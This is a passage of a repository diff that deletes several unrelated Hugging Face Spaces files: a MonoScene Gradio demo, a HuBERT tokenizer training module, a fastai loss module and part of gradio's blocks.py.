- return model
171
-
172
-
173
- def resnet18(pretrained=False, **kwargs):
174
- """Constructs a ResNet-18 model.
175
- Args:
176
- pretrained (bool): If True, returns a model pre-trained on ImageNet
177
- """
178
- model = ResNet(BasicBlock, [2, 2, 2, 2], **kwargs)
179
- if pretrained:
180
- model.load_state_dict(load_url(model_urls['resnet18']))
181
- return model
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/CVPR/monoscene_lite/app.py DELETED
@@ -1,121 +0,0 @@
1
- import gradio as gr
2
- import numpy as np
3
- from torchvision import transforms
4
- import torch
5
- from helpers import *
6
- import sys
7
- import csv
8
- from monoscene.monoscene import MonoScene
9
-
10
- csv.field_size_limit(sys.maxsize)
11
- torch.set_grad_enabled(False)
12
-
13
-
14
- model = MonoScene.load_from_checkpoint(
15
- "monoscene_kitti.ckpt",
16
- dataset="kitti",
17
- n_classes=20,
18
- feature = 64,
19
- project_scale = 4,
20
- full_scene_size = (256, 256, 32),
21
- )
22
-
23
- img_W, img_H = 1220, 370
24
-
25
-
26
- def predict(img):
27
- img = np.array(img, dtype=np.float32, copy=False) / 255.0
28
-
29
- normalize_rgb = transforms.Compose(
30
- [
31
- transforms.ToTensor(),
32
- transforms.Normalize(
33
- mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
34
- ),
35
- ]
36
- )
37
- img = normalize_rgb(img)
38
-
39
- batch = get_projections(img_W, img_H)
40
- batch["img"] = img
41
- for k in batch:
42
- batch[k] = batch[k].unsqueeze(0)#.cuda()
43
-
44
- pred = model(batch).squeeze()
45
- fig = draw(pred, batch['fov_mask_2'])
46
-
47
-
48
- return fig
49
-
50
-
51
- description = """
52
- MonoScene Demo on SemanticKITTI Validation Set (Sequence 08), which uses the <b>camera parameters of Sequence 08</b>.
53
- Due to the <b>CPU-only</b> inference, it might take up to 20s to predict a scene. \n
54
- This is a <b>smaller</b> model with half resolution and <b>w/o 3D CRP</b>. You can find the full model at: <a href="https://huggingface.co/spaces/CVPR/MonoScene">https://huggingface.co/spaces/CVPR/MonoScene</a>
55
- <center>
56
- <a href="https://cv-rits.github.io/MonoScene/">
57
- <img style="display:inline" alt="Project page" src="https://img.shields.io/badge/Project%20Page-MonoScene-red">
58
- </a>
59
- <a href="https://arxiv.org/abs/2112.00726"><img style="display:inline" src="https://img.shields.io/badge/arXiv%20%2B%20supp-2112.00726-purple"></a>
60
- <a href="https://github.com/cv-rits/MonoScene"><img style="display:inline" src="https://img.shields.io/github/stars/cv-rits/MonoScene?style=social"></a>
61
- </center>
62
- """
63
- title = "MonoScene Lite - Half resolution, w/o 3D CRP"
64
- article="""
65
- <center>
66
- <img src='https://visitor-badge.glitch.me/badge?page_id=anhquancao.MonoScene_lite&left_color=darkmagenta&right_color=purple' alt='visitor badge'>
67
- </center>
68
- """
69
-
70
- examples = [
71
- 'images/08/001385.jpg',
72
- 'images/08/000295.jpg',
73
- 'images/08/002505.jpg',
74
- 'images/08/000085.jpg',
75
- 'images/08/000290.jpg',
76
- 'images/08/000465.jpg',
77
- 'images/08/000790.jpg',
78
- 'images/08/001005.jpg',
79
- 'images/08/001380.jpg',
80
- 'images/08/001530.jpg',
81
- 'images/08/002360.jpg',
82
- 'images/08/004059.jpg',
83
- 'images/08/003149.jpg',
84
- 'images/08/001446.jpg',
85
- 'images/08/000010.jpg',
86
- 'images/08/001122.jpg',
87
- 'images/08/003533.jpg',
88
- 'images/08/003365.jpg',
89
- 'images/08/002944.jpg',
90
- 'images/08/000822.jpg',
91
- 'images/08/000103.jpg',
92
- 'images/08/002716.jpg',
93
- 'images/08/000187.jpg',
94
- 'images/08/002128.jpg',
95
- 'images/08/000511.jpg',
96
- 'images/08/000618.jpg',
97
- 'images/08/002010.jpg',
98
- 'images/08/000234.jpg',
99
- 'images/08/001842.jpg',
100
- 'images/08/001687.jpg',
101
- 'images/08/003929.jpg',
102
- 'images/08/002272.jpg',
103
- ]
104
-
105
-
106
-
107
-
108
- demo = gr.Interface(
109
- predict,
110
- gr.Image(shape=(1220, 370)),
111
- gr.Plot(),
112
- article=article,
113
- title=title,
114
- enable_queue=True,
115
- cache_examples=False,
116
- live=False,
117
- examples=examples,
118
- description=description)
119
-
120
-
121
- demo.launch(enable_queue=True, debug=False)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/CikeyQI/Yunzai/Yunzai/app.js DELETED
@@ -1,3 +0,0 @@
1
- import Yunzai from "./lib/bot.js"
2
- global.Bot = new Yunzai
3
- Bot.run()
 
 
 
 
spaces/Cloudyy/bark-voice-cloning/hubert/customtokenizer.py DELETED
@@ -1,182 +0,0 @@
1
- import json
2
- import os.path
3
- from zipfile import ZipFile
4
-
5
- import numpy
6
- import torch
7
- from torch import nn, optim
8
- from torch.serialization import MAP_LOCATION
9
-
10
-
11
- class CustomTokenizer(nn.Module):
12
- def __init__(self, hidden_size=1024, input_size=768, output_size=10000, version=0):
13
- super(CustomTokenizer, self).__init__()
14
- next_size = input_size
15
- if version == 0:
16
- self.lstm = nn.LSTM(input_size, hidden_size, 2, batch_first=True)
17
- next_size = hidden_size
18
- if version == 1:
19
- self.lstm = nn.LSTM(input_size, hidden_size, 2, batch_first=True)
20
- self.intermediate = nn.Linear(hidden_size, 4096)
21
- next_size = 4096
22
-
23
- self.fc = nn.Linear(next_size, output_size)
24
- self.softmax = nn.LogSoftmax(dim=1)
25
- self.optimizer: optim.Optimizer = None
26
- self.lossfunc = nn.CrossEntropyLoss()
27
- self.input_size = input_size
28
- self.hidden_size = hidden_size
29
- self.output_size = output_size
30
- self.version = version
31
-
32
- def forward(self, x):
33
- x, _ = self.lstm(x)
34
- if self.version == 1:
35
- x = self.intermediate(x)
36
- x = self.fc(x)
37
- x = self.softmax(x)
38
- return x
39
-
40
- @torch.no_grad()
41
- def get_token(self, x):
42
- """
43
- Used to get the token for the first
44
- :param x: An array with shape (N, input_size) where N is a whole number greater or equal to 1, and input_size is the input size used when creating the model.
45
- :return: An array with shape (N,) where N is the same as N from the input. Every number in the array is a whole number in range 0...output_size - 1 where output_size is the output size used when creating the model.
46
- """
47
- return torch.argmax(self(x), dim=1)
48
-
49
- def prepare_training(self):
50
- self.optimizer = optim.Adam(self.parameters(), 0.001)
51
-
52
- def train_step(self, x_train, y_train, log_loss=False):
53
- # y_train = y_train[:-1]
54
- # y_train = y_train[1:]
55
-
56
- optimizer = self.optimizer
57
- lossfunc = self.lossfunc
58
- # Zero the gradients
59
- self.zero_grad()
60
-
61
- # Forward pass
62
- y_pred = self(x_train)
63
-
64
- y_train_len = len(y_train)
65
- y_pred_len = y_pred.shape[0]
66
-
67
- if y_train_len > y_pred_len:
68
- diff = y_train_len - y_pred_len
69
- y_train = y_train[diff:]
70
- elif y_train_len < y_pred_len:
71
- diff = y_pred_len - y_train_len
72
- y_pred = y_pred[:-diff, :]
73
-
74
- y_train_hot = torch.zeros(len(y_train), self.output_size)
75
- y_train_hot[range(len(y_train)), y_train] = 1
76
- y_train_hot = y_train_hot.to('cuda')
77
-
78
- # Calculate the loss
79
- loss = lossfunc(y_pred, y_train_hot)
80
-
81
- # Print loss
82
- if log_loss:
83
- print('Loss', loss.item())
84
-
85
- # Backward pass
86
- loss.backward()
87
-
88
- # Update the weights
89
- optimizer.step()
90
-
91
- def save(self, path):
92
- info_path = os.path.basename(path) + '/.info'
93
- torch.save(self.state_dict(), path)
94
- data_from_model = Data(self.input_size, self.hidden_size, self.output_size, self.version)
95
- with ZipFile(path, 'a') as model_zip:
96
- model_zip.writestr(info_path, data_from_model.save())
97
- model_zip.close()
98
-
99
- @staticmethod
100
- def load_from_checkpoint(path, map_location: MAP_LOCATION = None):
101
- old = True
102
- with ZipFile(path) as model_zip:
103
- filesMatch = [file for file in model_zip.namelist() if file.endswith('/.info')]
104
- file = filesMatch[0] if filesMatch else None
105
- if file:
106
- old = False
107
- data_from_model = Data.load(model_zip.read(file).decode('utf-8'))
108
- model_zip.close()
109
- if old:
110
- model = CustomTokenizer()
111
- else:
112
- model = CustomTokenizer(data_from_model.hidden_size, data_from_model.input_size, data_from_model.output_size, data_from_model.version)
113
- model.load_state_dict(torch.load(path, map_location))
114
- return model
115
-
116
-
117
-
118
- class Data:
119
- input_size: int
120
- hidden_size: int
121
- output_size: int
122
- version: int
123
-
124
- def __init__(self, input_size=768, hidden_size=1024, output_size=10000, version=0):
125
- self.input_size = input_size
126
- self.hidden_size = hidden_size
127
- self.output_size = output_size
128
- self.version = version
129
-
130
- @staticmethod
131
- def load(string):
132
- data = json.loads(string)
133
- return Data(data['input_size'], data['hidden_size'], data['output_size'], data['version'])
134
-
135
- def save(self):
136
- data = {
137
- 'input_size': self.input_size,
138
- 'hidden_size': self.hidden_size,
139
- 'output_size': self.output_size,
140
- 'version': self.version,
141
- }
142
- return json.dumps(data)
143
-
144
-
145
- def auto_train(data_path, save_path='model.pth', load_model: str | None = None, save_epochs=1):
146
- data_x, data_y = [], []
147
-
148
- if load_model and os.path.isfile(load_model):
149
- print('Loading model from', load_model)
150
- model_training = CustomTokenizer.load_from_checkpoint(load_model, 'cuda')
151
- else:
152
- print('Creating new model.')
153
- model_training = CustomTokenizer(version=1).to('cuda') # Settings for the model to run without lstm
154
- save_path = os.path.join(data_path, save_path)
155
- base_save_path = '.'.join(save_path.split('.')[:-1])
156
-
157
- sem_string = '_semantic.npy'
158
- feat_string = '_semantic_features.npy'
159
-
160
- ready = os.path.join(data_path, 'ready')
161
- for input_file in os.listdir(ready):
162
- full_path = os.path.join(ready, input_file)
163
- if input_file.endswith(sem_string):
164
- data_y.append(numpy.load(full_path))
165
- elif input_file.endswith(feat_string):
166
- data_x.append(numpy.load(full_path))
167
- model_training.prepare_training()
168
-
169
- epoch = 1
170
-
171
- while 1:
172
- for i in range(save_epochs):
173
- j = 0
174
- for x, y in zip(data_x, data_y):
175
- model_training.train_step(torch.tensor(x).to('cuda'), torch.tensor(y).to('cuda'), j % 50 == 0) # Print loss every 50 steps
176
- j += 1
177
- save_p = save_path
178
- save_p_2 = f'{base_save_path}_epoch_{epoch}.pth'
179
- model_training.save(save_p)
180
- model_training.save(save_p_2)
181
- print(f'Epoch {epoch} completed')
182
- epoch += 1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Cyril666/my_abi/losses.py DELETED
@@ -1,72 +0,0 @@
1
- from fastai.vision import *
2
-
3
- from modules.model import Model
4
-
5
-
6
- class MultiLosses(nn.Module):
7
- def __init__(self, one_hot=True):
8
- super().__init__()
9
- self.ce = SoftCrossEntropyLoss() if one_hot else torch.nn.CrossEntropyLoss()
10
- self.bce = torch.nn.BCELoss()
11
-
12
- @property
13
- def last_losses(self):
14
- return self.losses
15
-
16
- def _flatten(self, sources, lengths):
17
- return torch.cat([t[:l] for t, l in zip(sources, lengths)])
18
-
19
- def _merge_list(self, all_res):
20
- if not isinstance(all_res, (list, tuple)):
21
- return all_res
22
- def merge(items):
23
- if isinstance(items[0], torch.Tensor): return torch.cat(items, dim=0)
24
- else: return items[0]
25
- res = dict()
26
- for key in all_res[0].keys():
27
- items = [r[key] for r in all_res]
28
- res[key] = merge(items)
29
- return res
30
-
31
- def _ce_loss(self, output, gt_labels, gt_lengths, idx=None, record=True):
32
- loss_name = output.get('name')
33
- pt_logits, weight = output['logits'], output['loss_weight']
34
-
35
- assert pt_logits.shape[0] % gt_labels.shape[0] == 0
36
- iter_size = pt_logits.shape[0] // gt_labels.shape[0]
37
- if iter_size > 1:
38
- gt_labels = gt_labels.repeat(3, 1, 1)
39
- gt_lengths = gt_lengths.repeat(3)
40
- flat_gt_labels = self._flatten(gt_labels, gt_lengths)
41
- flat_pt_logits = self._flatten(pt_logits, gt_lengths)
42
-
43
- nll = output.get('nll')
44
- if nll is not None:
45
- loss = self.ce(flat_pt_logits, flat_gt_labels, softmax=False) * weight
46
- else:
47
- loss = self.ce(flat_pt_logits, flat_gt_labels) * weight
48
- if record and loss_name is not None: self.losses[f'{loss_name}_loss'] = loss
49
-
50
- return loss
51
-
52
- def forward(self, outputs, *args):
53
- self.losses = {}
54
- if isinstance(outputs, (tuple, list)):
55
- outputs = [self._merge_list(o) for o in outputs]
56
- return sum([self._ce_loss(o, *args) for o in outputs if o['loss_weight'] > 0.])
57
- else:
58
- return self._ce_loss(outputs, *args, record=False)
59
-
60
-
61
- class SoftCrossEntropyLoss(nn.Module):
62
- def __init__(self, reduction="mean"):
63
- super().__init__()
64
- self.reduction = reduction
65
-
66
- def forward(self, input, target, softmax=True):
67
- if softmax: log_prob = F.log_softmax(input, dim=-1)
68
- else: log_prob = torch.log(input)
69
- loss = -(target * log_prob).sum(dim=-1)
70
- if self.reduction == "mean": return loss.mean()
71
- elif self.reduction == "sum": return loss.sum()
72
- else: return loss
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/gradio/blocks.py DELETED
@@ -1,2175 +0,0 @@
1
- from __future__ import annotations
2
-
3
- import copy
4
- import inspect
5
- import json
6
- import os
7
- import random
8
- import secrets
9
- import sys
10
- import threading
11
- import time
12
- import warnings
13
- import webbrowser
14
- from abc import abstractmethod
15
- from pathlib import Path
16
- from types import ModuleType
17
- from typing import TYPE_CHECKING, Any, AsyncIterator, Callable, Literal, cast
18
-
19
- import anyio
20
- import requests
21
- from anyio import CapacityLimiter
22
- from gradio_client import serializing
23
- from gradio_client import utils as client_utils
24
- from gradio_client.documentation import document, set_documentation_group
25
- from packaging import version
26
-
27
- from gradio import (
28
- analytics,
29
- components,
30
- external,
31
- networking,
32
- queueing,
33
- routes,
34
- strings,
35
- themes,
36
- utils,
37
- wasm_utils,
38
- )
39
- from gradio.context import Context
40
- from gradio.deprecation import check_deprecated_parameters, warn_deprecation
41
- from gradio.exceptions import (
42
- DuplicateBlockError,
43
- InvalidApiNameError,
44
- InvalidBlockError,
45
- )
46
- from gradio.helpers import EventData, create_tracker, skip, special_args
47
- from gradio.themes import Default as DefaultTheme
48
- from gradio.themes import ThemeClass as Theme
49
- from gradio.tunneling import (
50
- BINARY_FILENAME,
51
- BINARY_FOLDER,
52
- BINARY_PATH,
53
- BINARY_URL,
54
- CURRENT_TUNNELS,
55
- )
56
- from gradio.utils import (
57
- GRADIO_VERSION,
58
- TupleNoPrint,
59
- check_function_inputs_match,
60
- component_or_layout_class,
61
- delete_none,
62
- get_cancel_function,
63
- get_continuous_fn,
64
- )
65
-
66
- try:
67
- import spaces # type: ignore
68
- except Exception:
69
- spaces = None
70
-
71
- set_documentation_group("blocks")
72
-
73
- if TYPE_CHECKING: # Only import for type checking (is False at runtime).
74
- from fastapi.applications import FastAPI
75
-
76
- from gradio.components import Component
77
-
78
- BUILT_IN_THEMES: dict[str, Theme] = {
79
- t.name: t
80
- for t in [
81
- themes.Base(),
82
- themes.Default(),
83
- themes.Monochrome(),
84
- themes.Soft(),
85
- themes.Glass(),
86
- ]
87
- }
88
-
89
-
90
- class Block:
91
- def __init__(
92
- self,
93
- *,
94
- render: bool = True,
95
- elem_id: str | None = None,
96
- elem_classes: list[str] | str | None = None,
97
- visible: bool = True,
98
- root_url: str | None = None, # URL that is prepended to all file paths
99
- _skip_init_processing: bool = False, # Used for loading from Spaces
100
- **kwargs,
101
- ):
102
- self._id = Context.id
103
- Context.id += 1
104
- self.visible = visible
105
- self.elem_id = elem_id
106
- self.elem_classes = (
107
- [elem_classes] if isinstance(elem_classes, str) else elem_classes
108
- )
109
- self.root_url = root_url
110
- self.share_token = secrets.token_urlsafe(32)
111
- self._skip_init_processing = _skip_init_processing
112
- self.parent: BlockContext | None = None
113
-
114
- if render:
115
- self.render()
116
- check_deprecated_parameters(self.__class__.__name__, kwargs=kwargs)
117
-
118
- def render(self):
119
- """
120
- Adds self into appropriate BlockContext
121
- """
122
- if Context.root_block is not None and self._id in Context.root_block.blocks:
123
- raise DuplicateBlockError(
124
- f"A block with id: {self._id} has already been rendered in the current Blocks."
125
- )
126
- if Context.block is not None:
127
- Context.block.add(self)
128
- if Context.root_block is not None:
129
- Context.root_block.blocks[self._id] = self
130
- if isinstance(self, components.IOComponent):
131
- Context.root_block.temp_file_sets.append(self.temp_files)
132
- return self
133
-
134
- def unrender(self):
135
- """
136
- Removes self from BlockContext if it has been rendered (otherwise does nothing).
137
- Removes self from the layout and collection of blocks, but does not delete any event triggers.
138
- """
139
- if Context.block is not None:
140
- try:
141
- Context.block.children.remove(self)
142
- except ValueError:
143
- pass
144
- if Context.root_block is not None:
145
- try:
146
- del Context.root_block.blocks[self._id]
147
- except KeyError:
148
- pass
149
- return self
150
-
151
- def get_block_name(self) -> str:
152
- """
153
- Gets block's class name.
154
-
155
- If it is template component it gets the parent's class name.
156
-
157
- @return: class name
158
- """
159
- return (
160
- self.__class__.__base__.__name__.lower()
161
- if hasattr(self, "is_template")
162
- else self.__class__.__name__.lower()
163
- )
164
-
165
- def get_expected_parent(self) -> type[BlockContext] | None:
166
- return None
167
-
168
- def set_event_trigger(
169
- self,
170
- event_name: str,
171
- fn: Callable | None,
172
- inputs: Component | list[Component] | set[Component] | None,
173
- outputs: Component | list[Component] | None,
174
- preprocess: bool = True,
175
- postprocess: bool = True,
176
- scroll_to_output: bool = False,
177
- show_progress: str = "full",
178
- api_name: str | None | Literal[False] = None,
179
- js: str | None = None,
180
- no_target: bool = False,
181
- queue: bool | None = None,
182
- batch: bool = False,
183
- max_batch_size: int = 4,
184
- cancels: list[int] | None = None,
185
- every: float | None = None,
186
- collects_event_data: bool | None = None,
187
- trigger_after: int | None = None,
188
- trigger_only_on_success: bool = False,
189
- ) -> tuple[dict[str, Any], int]:
190
- """
191
- Adds an event to the component's dependencies.
192
- Parameters:
193
- event_name: event name
194
- fn: Callable function
195
- inputs: input list
196
- outputs: output list
197
- preprocess: whether to run the preprocess methods of components
198
- postprocess: whether to run the postprocess methods of components
199
- scroll_to_output: whether to scroll to output of dependency on trigger
200
- show_progress: whether to show progress animation while running.
201
- api_name: defines how the endpoint appears in the API docs. Can be a string, None, or False. If False, the endpoint will not be exposed in the api docs. If set to None, the endpoint will be exposed in the api docs as an unnamed endpoint, although this behavior will be changed in Gradio 4.0. If set to a string, the endpoint will be exposed in the api docs with the given name.
202
- js: Experimental parameter (API may change): Optional frontend js method to run before running 'fn'. Input arguments for js method are values of 'inputs' and 'outputs', return should be a list of values for output components
203
- no_target: if True, sets "targets" to [], used for Blocks "load" event
204
- queue: If True, will place the request on the queue, if the queue has been enabled. If False, will not put this event on the queue, even if the queue has been enabled. If None, will use the queue setting of the gradio app.
205
- batch: whether this function takes in a batch of inputs
206
- max_batch_size: the maximum batch size to send to the function
207
- cancels: a list of other events to cancel when this event is triggered. For example, setting cancels=[click_event] will cancel the click_event, where click_event is the return value of another components .click method.
208
- every: Run this event 'every' number of seconds while the client connection is open. Interpreted in seconds. Queue must be enabled.
209
- collects_event_data: whether to collect event data for this event
210
- trigger_after: if set, this event will be triggered after 'trigger_after' function index
211
- trigger_only_on_success: if True, this event will only be triggered if the previous event was successful (only applies if `trigger_after` is set)
212
- Returns: dependency information, dependency index
213
- """
214
- # Support for singular parameter
215
- if isinstance(inputs, set):
216
- inputs_as_dict = True
217
- inputs = sorted(inputs, key=lambda x: x._id)
218
- else:
219
- inputs_as_dict = False
220
- if inputs is None:
221
- inputs = []
222
- elif not isinstance(inputs, list):
223
- inputs = [inputs]
224
-
225
- if isinstance(outputs, set):
226
- outputs = sorted(outputs, key=lambda x: x._id)
227
- else:
228
- if outputs is None:
229
- outputs = []
230
- elif not isinstance(outputs, list):
231
- outputs = [outputs]
232
-
233
- if fn is not None and not cancels:
234
- check_function_inputs_match(fn, inputs, inputs_as_dict)
235
-
236
- if Context.root_block is None:
237
- raise AttributeError(
238
- f"{event_name}() and other events can only be called within a Blocks context."
239
- )
240
- if every is not None and every <= 0:
241
- raise ValueError("Parameter every must be positive or None")
242
- if every and batch:
243
- raise ValueError(
244
- f"Cannot run {event_name} event in a batch and every {every} seconds. "
245
- "Either batch is True or every is non-zero but not both."
246
- )
247
-
248
- if every and fn:
249
- fn = get_continuous_fn(fn, every)
250
- elif every:
251
- raise ValueError("Cannot set a value for `every` without a `fn`.")
252
-
253
- _, progress_index, event_data_index = (
254
- special_args(fn) if fn else (None, None, None)
255
- )
256
- Context.root_block.fns.append(
257
- BlockFunction(
258
- fn,
259
- inputs,
260
- outputs,
261
- preprocess,
262
- postprocess,
263
- inputs_as_dict,
264
- progress_index is not None,
265
- )
266
- )
267
- if api_name is not None and api_name is not False:
268
- api_name_ = utils.append_unique_suffix(
269
- api_name, [dep["api_name"] for dep in Context.root_block.dependencies]
270
- )
271
- if api_name != api_name_:
272
- warnings.warn(f"api_name {api_name} already exists, using {api_name_}")
273
- api_name = api_name_
274
-
275
- if collects_event_data is None:
276
- collects_event_data = event_data_index is not None
277
-
278
- dependency = {
279
- "targets": [self._id] if not no_target else [],
280
- "trigger": event_name,
281
- "inputs": [block._id for block in inputs],
282
- "outputs": [block._id for block in outputs],
283
- "backend_fn": fn is not None,
284
- "js": js,
285
- "queue": False if fn is None else queue,
286
- "api_name": api_name,
287
- "scroll_to_output": False if utils.get_space() else scroll_to_output,
288
- "show_progress": show_progress,
289
- "every": every,
290
- "batch": batch,
291
- "max_batch_size": max_batch_size,
292
- "cancels": cancels or [],
293
- "types": {
294
- "continuous": bool(every),
295
- "generator": inspect.isgeneratorfunction(fn) or bool(every),
296
- },
297
- "collects_event_data": collects_event_data,
298
- "trigger_after": trigger_after,
299
- "trigger_only_on_success": trigger_only_on_success,
300
- }
301
- Context.root_block.dependencies.append(dependency)
302
- return dependency, len(Context.root_block.dependencies) - 1
303
-
304
- def get_config(self):
305
- return {
306
- "visible": self.visible,
307
- "elem_id": self.elem_id,
308
- "elem_classes": self.elem_classes,
309
- "root_url": self.root_url,
310
- }
311
-
312
- @staticmethod
313
- @abstractmethod
314
- def update(**kwargs) -> dict:
315
- return {}
316
-
317
- @classmethod
318
- def get_specific_update(cls, generic_update: dict[str, Any]) -> dict:
319
- generic_update = generic_update.copy()
320
- del generic_update["__type__"]
321
- specific_update = cls.update(**generic_update)
322
- return specific_update
323
-
324
-
325
- class BlockContext(Block):
326
- def __init__(
327
- self,
328
- visible: bool = True,
329
- render: bool = True,
330
- **kwargs,
331
- ):
332
- """
333
- Parameters:
334
- visible: If False, this will be hidden but included in the Blocks config file (its visibility can later be updated).
335
- render: If False, this will not be included in the Blocks config file at all.
336
- """
337
- self.children: list[Block] = []
338
- Block.__init__(self, visible=visible, render=render, **kwargs)
339
-
340
- def add_child(self, child: Block):
341
- self.children.append(child)
342
-
343
- def __enter__(self):
344
- self.parent = Context.block
345
- Context.block = self
346
- return self
347
-
348
- def add(self, child: Block):
349
- child.parent = self
350
- self.children.append(child)
351
-
352
- def fill_expected_parents(self):
353
- children = []
354
- pseudo_parent = None
355
- for child in self.children:
356
- expected_parent = child.get_expected_parent()
357
- if not expected_parent or isinstance(self, expected_parent):
358
- pseudo_parent = None
359
- children.append(child)
360
- else:
361
- if pseudo_parent is not None and isinstance(
362
- pseudo_parent, expected_parent
363
- ):
364
- pseudo_parent.add_child(child)
365
- else:
366
- pseudo_parent = expected_parent(render=False)
367
- pseudo_parent.parent = self
368
- children.append(pseudo_parent)
369
- pseudo_parent.add_child(child)
370
- if Context.root_block:
371
- Context.root_block.blocks[pseudo_parent._id] = pseudo_parent
372
- child.parent = pseudo_parent
373
- self.children = children
374
-
375
- def __exit__(self, *args):
376
- if getattr(self, "allow_expected_parents", True):
377
- self.fill_expected_parents()
378
- Context.block = self.parent
379
-
380
- def postprocess(self, y):
381
- """
382
- Any postprocessing needed to be performed on a block context.
383
- """
384
- return y
385
-
386
-
387
- class BlockFunction:
388
- def __init__(
389
- self,
390
- fn: Callable | None,
391
- inputs: list[Component],
392
- outputs: list[Component],
393
- preprocess: bool,
394
- postprocess: bool,
395
- inputs_as_dict: bool,
396
- tracks_progress: bool = False,
397
- ):
398
- self.fn = fn
399
- self.inputs = inputs
400
- self.outputs = outputs
401
- self.preprocess = preprocess
402
- self.postprocess = postprocess
403
- self.tracks_progress = tracks_progress
404
- self.total_runtime = 0
405
- self.total_runs = 0
406
- self.inputs_as_dict = inputs_as_dict
407
- self.name = getattr(fn, "__name__", "fn") if fn is not None else None
408
- self.spaces_auto_wrap()
409
-
410
- def spaces_auto_wrap(self):
411
- if spaces is None:
412
- return
413
- if utils.get_space() is None:
414
- return
415
- self.fn = spaces.gradio_auto_wrap(self.fn)
416
-
417
- def __str__(self):
418
- return str(
419
- {
420
- "fn": self.name,
421
- "preprocess": self.preprocess,
422
- "postprocess": self.postprocess,
423
- }
424
- )
425
-
426
- def __repr__(self):
427
- return str(self)
428
-
429
-
430
- class class_or_instancemethod(classmethod): # noqa: N801
431
- def __get__(self, instance, type_):
432
- descr_get = super().__get__ if instance is None else self.__func__.__get__
433
- return descr_get(instance, type_)
434
-
435
-
436
- def postprocess_update_dict(block: Block, update_dict: dict, postprocess: bool = True):
437
- """
438
- Converts a dictionary of updates into a format that can be sent to the frontend.
439
- E.g. {"__type__": "generic_update", "value": "2", "interactive": False}
440
- Into -> {"__type__": "update", "value": 2.0, "mode": "static"}
441
-
442
- Parameters:
443
- block: The Block that is being updated with this update dictionary.
444
- update_dict: The original update dictionary
445
- postprocess: Whether to postprocess the "value" key of the update dictionary.
446
- """
447
- if update_dict.get("__type__", "") == "generic_update":
448
- update_dict = block.get_specific_update(update_dict)
449
- if update_dict.get("value") is components._Keywords.NO_VALUE:
450
- update_dict.pop("value")
451
- interactive = update_dict.pop("interactive", None)
452
- if interactive is not None:
453
- update_dict["mode"] = "dynamic" if interactive else "static"
454
- prediction_value = delete_none(update_dict, skip_value=True)
455
- if "value" in prediction_value and postprocess:
456
- assert isinstance(
457
- block, components.IOComponent
458
- ), f"Component {block.__class__} does not support value"
459
- prediction_value["value"] = block.postprocess(prediction_value["value"])
460
- return prediction_value
461
-
462
-
463
- def convert_component_dict_to_list(
464
- outputs_ids: list[int], predictions: dict
465
- ) -> list | dict:
466
- """
467
- Converts a dictionary of component updates into a list of updates in the order of
468
- the outputs_ids and including every output component. Leaves other types of dictionaries unchanged.
469
- E.g. {"textbox": "hello", "number": {"__type__": "generic_update", "value": "2"}}
470
- Into -> ["hello", {"__type__": "generic_update"}, {"__type__": "generic_update", "value": "2"}]
471
- """
472
- keys_are_blocks = [isinstance(key, Block) for key in predictions]
473
- if all(keys_are_blocks):
474
- reordered_predictions = [skip() for _ in outputs_ids]
475
- for component, value in predictions.items():
476
- if component._id not in outputs_ids:
477
- raise ValueError(
478
- f"Returned component {component} not specified as output of function."
479
- )
480
- output_index = outputs_ids.index(component._id)
481
- reordered_predictions[output_index] = value
482
- predictions = utils.resolve_singleton(reordered_predictions)
483
- elif any(keys_are_blocks):
484
- raise ValueError(
485
- "Returned dictionary included some keys as Components. Either all keys must be Components to assign Component values, or return a List of values to assign output values in order."
486
- )
487
- return predictions
488
-
489
-
490
- def get_api_info(config: dict, serialize: bool = True):
491
- """
492
- Gets the information needed to generate the API docs from a Blocks config.
493
- Parameters:
494
- config: a Blocks config dictionary
495
- serialize: If True, returns the serialized version of the typed information. If False, returns the raw version.
496
- """
497
- api_info = {"named_endpoints": {}, "unnamed_endpoints": {}}
498
- mode = config.get("mode", None)
499
- after_new_format = version.parse(config.get("version", "2.0")) > version.Version(
500
- "3.28.3"
501
- )
502
-
503
- for d, dependency in enumerate(config["dependencies"]):
504
- dependency_info = {"parameters": [], "returns": []}
505
- skip_endpoint = False
506
-
507
- inputs = dependency["inputs"]
508
- for i in inputs:
509
- for component in config["components"]:
510
- if component["id"] == i:
511
- break
512
- else:
513
- skip_endpoint = True # if component not found, skip endpoint
514
- break
515
